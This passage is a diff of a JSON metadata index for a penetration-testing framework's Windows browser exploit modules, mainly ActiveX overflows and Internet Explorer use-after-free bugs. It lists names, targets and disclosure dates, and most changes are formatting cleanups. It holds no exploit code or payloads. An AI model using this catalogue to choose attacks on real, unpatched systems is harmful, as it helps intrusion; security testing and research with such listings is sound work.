"notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/clear_quest_cqole": { "name": "IBM Rational ClearQuest CQOle Remote Code Execution", "fullname": "exploit/windows/browser/clear_quest_cqole", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-19", "type": "exploit", @@ -143107,12 +127750,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 / IE7 (No DEP)" @@ -143124,17 +127763,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/communicrypt_mail_activex": { "name": "CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow", "fullname": "exploit/windows/browser/communicrypt_mail_activex", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-05-19", "type": "exploit", @@ -143150,12 +127786,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Universal" ], @@ -143166,17 +127798,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/creative_software_cachefolder": { "name": "Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/creative_software_cachefolder", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-05-28", "type": "exploit", @@ -143191,12 +127820,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -143207,17 +127832,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/crystal_reports_printcontrol": { "name": "Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow", "fullname": "exploit/windows/browser/crystal_reports_printcontrol", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-12-14", "type": "exploit", @@ -143236,12 +127858,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -143256,17 +127874,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/dell_webcam_crazytalk": { "name": "Dell Webcam CrazyTalk ActiveX BackImage Vulnerability", "fullname": "exploit/windows/browser/dell_webcam_crazytalk", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-19", "type": "exploit", @@ -143283,12 +127898,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -143302,17 +127913,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/dxstudio_player_exec": { "name": "Worldweaver DX Studio Player shell.execute() Command Execution", "fullname": "exploit/windows/browser/dxstudio_player_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-06-09", "type": "exploit", @@ -143330,12 +127938,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -143346,17 +127950,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ea_checkrequirements": { "name": "Electronic Arts SnoopyCtrl ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/ea_checkrequirements", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-10-08", "type": "exploit", @@ -143371,12 +127972,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -143387,17 +127984,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ebook_flipviewer_fviewerloading": { "name": "FlipViewer FViewerLoading ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/ebook_flipviewer_fviewerloading", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-06-06", "type": "exploit", @@ -143413,12 +128007,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -143429,17 +128019,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/enjoysapgui_comp_download": { "name": "EnjoySAP SAP GUI ActiveX Control Arbitrary File Download", "fullname": "exploit/windows/browser/enjoysapgui_comp_download", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-04-15", "type": "exploit", @@ -143455,12 +128042,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -143471,17 +128054,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/enjoysapgui_preparetoposthtml": { "name": "EnjoySAP SAP GUI ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/enjoysapgui_preparetoposthtml", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-07-05", "type": "exploit", @@ -143497,12 +128077,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Pro SP0/SP1 English", "Windows 2000 Pro English All" @@ -143514,17 +128090,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/exodus": { "name": "Exodus Wallet (ElectronJS Framework) remote Code Execution", "fullname": "exploit/windows/browser/exodus", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-01-25", "type": "exploit", @@ -143541,12 +128114,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "PSH (Binary)" ], @@ -143557,17 +128126,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/facebook_extractiptc": { "name": "Facebook Photo Uploader 4 ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/facebook_extractiptc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-01-31", "type": "exploit", @@ -143584,12 +128150,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IE 6 SP0-SP2 / Windows XP SP2 Pro English" ], @@ -143600,17 +128162,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/firefox_smil_uaf": { "name": "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE", "fullname": "exploit/windows/browser/firefox_smil_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-11-30", "type": "exploit", @@ -143627,12 +128186,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mozilla Firefox 38 to 41" ], @@ -143643,17 +128198,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/foxit_reader_plugin_url_bof": { "name": "Foxit Reader Plugin URL Processing Buffer Overflow", "fullname": "exploit/windows/browser/foxit_reader_plugin_url_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-07", "type": "exploit", @@ -143672,12 +128224,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281" @@ -143689,17 +128237,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/getgodm_http_response_bof": { "name": "GetGo Download Manager HTTP Response Buffer Overflow", "fullname": "exploit/windows/browser/getgodm_http_response_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-09", "type": "exploit", @@ -143718,12 +128263,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "4.9.0.1982 on Windows XP SP3", @@ -143736,17 +128277,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/gom_openurl": { "name": "GOM Player ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/gom_openurl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-10-27", "type": "exploit", @@ -143762,12 +128300,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2 Pro English" ], @@ -143778,17 +128312,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/greendam_url": { "name": "Green Dam URL Processing Buffer Overflow", "fullname": "exploit/windows/browser/greendam_url", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-06-11", "type": "exploit", @@ -143798,40 +128329,33 @@ "description": "This module exploits a stack-based buffer overflow in Green Dam Youth Escort\n version 3.17 in the way it handles overly long URLs.\n By setting an overly long URL, an attacker can overrun a buffer and execute\n arbitrary code. This module uses the .NET DLL memory technique by Alexander\n Sotirov and Mark Dowd and should bypass DEP, NX and ASLR.", "references": [ "OSVDB-55126", - "URL-http://www.cse.umich.edu/~jhalderm/pub/gd/", + "URL-http://web.archive.org/web/20110426190759/http://www.cse.umich.edu/~jhalderm/pub/gd/", "EDB-8938", "URL-http://taossa.com/archive/bh08sotirovdowd.pdf" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/windows/browser/greendam_url.rb", "is_install_path": true, "ref_name": "windows/browser/greendam_url", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/honeywell_hscremotedeploy_exec": { "name": "Honeywell HSC Remote Deployer ActiveX Remote Code Execution", "fullname": "exploit/windows/browser/honeywell_hscremotedeploy_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-02-22", "type": "exploit", @@ -143849,12 +128373,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -143865,17 +128385,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/browser/honeywell_tema_exec": { "name": "Honeywell Tema Remote Installer ActiveX Remote Code Execution", "fullname": "exploit/windows/browser/honeywell_tema_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-10-20", "type": "exploit", @@ -143893,12 +128410,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -143909,17 +128422,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/browser/hp_alm_xgo_setshapenodetype_exec": { "name": "HP Application Lifecycle Management XGO.ocx ActiveX SetShapeNodeType() Remote Code Execution", "fullname": "exploit/windows/browser/hp_alm_xgo_setshapenodetype_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-08-29", "type": "exploit", @@ -143936,12 +128446,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 7 on Windows XP SP3", @@ -143958,17 +128464,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/hp_easy_printer_care_xmlcachemgr": { "name": "HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remote Code Execution", "fullname": "exploit/windows/browser/hp_easy_printer_care_xmlcachemgr", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-01-11", "type": "exploit", @@ -143986,12 +128489,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -144002,17 +128501,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/browser/hp_easy_printer_care_xmlsimpleaccessor": { "name": "HP Easy Printer Care XMLSimpleAccessor Class ActiveX Control Remote Code Execution", "fullname": "exploit/windows/browser/hp_easy_printer_care_xmlsimpleaccessor", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-08-16", "type": "exploit", @@ -144030,12 +128526,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -144046,17 +128538,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/browser/hp_loadrunner_addfile": { "name": "Persits XUpload ActiveX AddFile Buffer Overflow", "fullname": "exploit/windows/browser/hp_loadrunner_addfile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-01-25", "type": "exploit", @@ -144073,12 +128562,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XUpload.ocx 3.0.0.3 on Windows XP SP3 / IE6 SP3" ], @@ -144089,17 +128574,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/hp_loadrunner_addfolder": { "name": "HP LoadRunner 9.0 ActiveX AddFolder Buffer Overflow", "fullname": "exploit/windows/browser/hp_loadrunner_addfolder", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-12-25", "type": "exploit", @@ -144115,12 +128597,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2 Pro English / IE6SP0-SP2" ], @@ -144131,17 +128609,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/hp_loadrunner_writefilebinary": { "name": "HP LoadRunner lrFileIOService ActiveX Remote Code Execution", "fullname": "exploit/windows/browser/hp_loadrunner_writefilebinary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-24", "type": "exploit", @@ -144160,12 +128635,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 7 on Windows XP SP3", @@ -144182,17 +128653,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/hp_loadrunner_writefilestring": { "name": "HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution", "fullname": "exploit/windows/browser/hp_loadrunner_writefilestring", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-24", "type": "exploit", @@ -144211,12 +128679,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic IE on Windows XP" ], @@ -144227,17 +128691,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/browser/hpmqc_progcolor": { "name": "HP Mercury Quality Center ActiveX Control ProgColor Buffer Overflow", "fullname": "exploit/windows/browser/hpmqc_progcolor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-04-04", "type": "exploit", @@ -144254,12 +128715,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0" ], @@ -144270,17 +128727,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/hyleos_chemviewx_activex": { "name": "Hyleos ChemView ActiveX Control Stack Buffer Overflow", "fullname": "exploit/windows/browser/hyleos_chemviewx_activex", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-02-10", "type": "exploit", @@ -144299,12 +128753,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0" ], @@ -144315,17 +128765,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ibm_spss_c1sizer": { "name": "IBM SPSS SamplePower C1Tab ActiveX Heap Overflow", "fullname": "exploit/windows/browser/ibm_spss_c1sizer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-04-26", "type": "exploit", @@ -144344,12 +128791,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -144364,17 +128807,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ibm_tivoli_pme_activex_bof": { "name": "IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow", "fullname": "exploit/windows/browser/ibm_tivoli_pme_activex_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-01", "type": "exploit", @@ -144393,12 +128833,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -144412,17 +128848,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ibmegath_getxmlvalue": { "name": "IBM Access Support ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/ibmegath_getxmlvalue", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-03-24", "type": "exploit", @@ -144438,12 +128871,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -144454,17 +128883,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ibmlotusdomino_dwa_uploadmodule": { "name": "IBM Lotus Domino Web Access Upload Module Buffer Overflow", "fullname": "exploit/windows/browser/ibmlotusdomino_dwa_uploadmodule", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-12-20", "type": "exploit", @@ -144481,12 +128907,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English" ], @@ -144497,17 +128919,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ie_cbutton_uaf": { "name": "MS13-008 Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability", "fullname": "exploit/windows/browser/ie_cbutton_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-12-27", "type": "exploit", @@ -144535,12 +128954,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 8 on Windows XP SP3", @@ -144555,17 +128970,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ie_cgenericelement_uaf": { "name": "MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability", "fullname": "exploit/windows/browser/ie_cgenericelement_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2013-05-03", "type": "exploit", @@ -144587,12 +128999,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 8 on Windows XP SP3", @@ -144607,17 +129015,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ie_createobject": { "name": "MS06-014 Microsoft Internet Explorer COM CreateObject Code Execution", "fullname": "exploit/windows/browser/ie_createobject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2006-04-11", "type": "exploit", @@ -144636,12 +129041,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "MS06-014 - RDS.DataSpace", @@ -144665,17 +129066,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ie_execcommand_uaf": { "name": "MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability ", "fullname": "exploit/windows/browser/ie_execcommand_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2012-09-14", "type": "exploit", @@ -144697,12 +129095,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 7 on Windows XP SP3", @@ -144719,17 +129113,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ie_iscomponentinstalled": { "name": "Microsoft Internet Explorer isComponentInstalled Overflow", "fullname": "exploit/windows/browser/ie_iscomponentinstalled", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-02-24", "type": "exploit", @@ -144745,12 +129136,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0 with Internet Explorer 6.0" ], @@ -144761,17 +129148,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ie_setmousecapture_uaf": { "name": "MS13-080 Microsoft Internet Explorer SetMouseCapture Use-After-Free", "fullname": "exploit/windows/browser/ie_setmousecapture_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-09-17", "type": "exploit", @@ -144792,12 +129176,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 7 with Office 2007|2010", @@ -144810,17 +129190,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ie_unsafe_scripting": { "name": "Microsoft Internet Explorer Unsafe Scripting Misconfiguration", "fullname": "exploit/windows/browser/ie_unsafe_scripting", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2010-09-20", "type": "exploit", @@ -144837,12 +129214,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86/x64" ], @@ -144853,17 +129226,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/imgeviewer_tifmergemultifiles": { "name": "Viscom Image Viewer CP Pro 8.0/Gold 6.0 ActiveX Control", "fullname": "exploit/windows/browser/imgeviewer_tifmergemultifiles", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-03-03", "type": "exploit", @@ -144883,12 +129253,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Internet Explorer 6/7", @@ -144901,17 +129267,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/indusoft_issymbol_internationalseparator": { "name": "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow", "fullname": "exploit/windows/browser/indusoft_issymbol_internationalseparator", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-28", "type": "exploit", @@ -144932,12 +129295,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -144955,17 +129314,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/inotes_dwa85w_bof": { "name": "IBM Lotus iNotes dwa85W ActiveX Buffer Overflow", "fullname": "exploit/windows/browser/inotes_dwa85w_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-01", "type": "exploit", @@ -144984,12 +129340,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -145007,17 +129359,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/intrust_annotatex_add": { "name": "Quest InTrust Annotation Objects Uninitialized Pointer", "fullname": "exploit/windows/browser/intrust_annotatex_add", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2012-03-28", "type": "exploit", @@ -145035,12 +129384,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP/Vista SP0-SP3 (IE6/IE7)", @@ -145054,17 +129399,14 @@ "check": false, "post_auth": false, "default_credential": false, 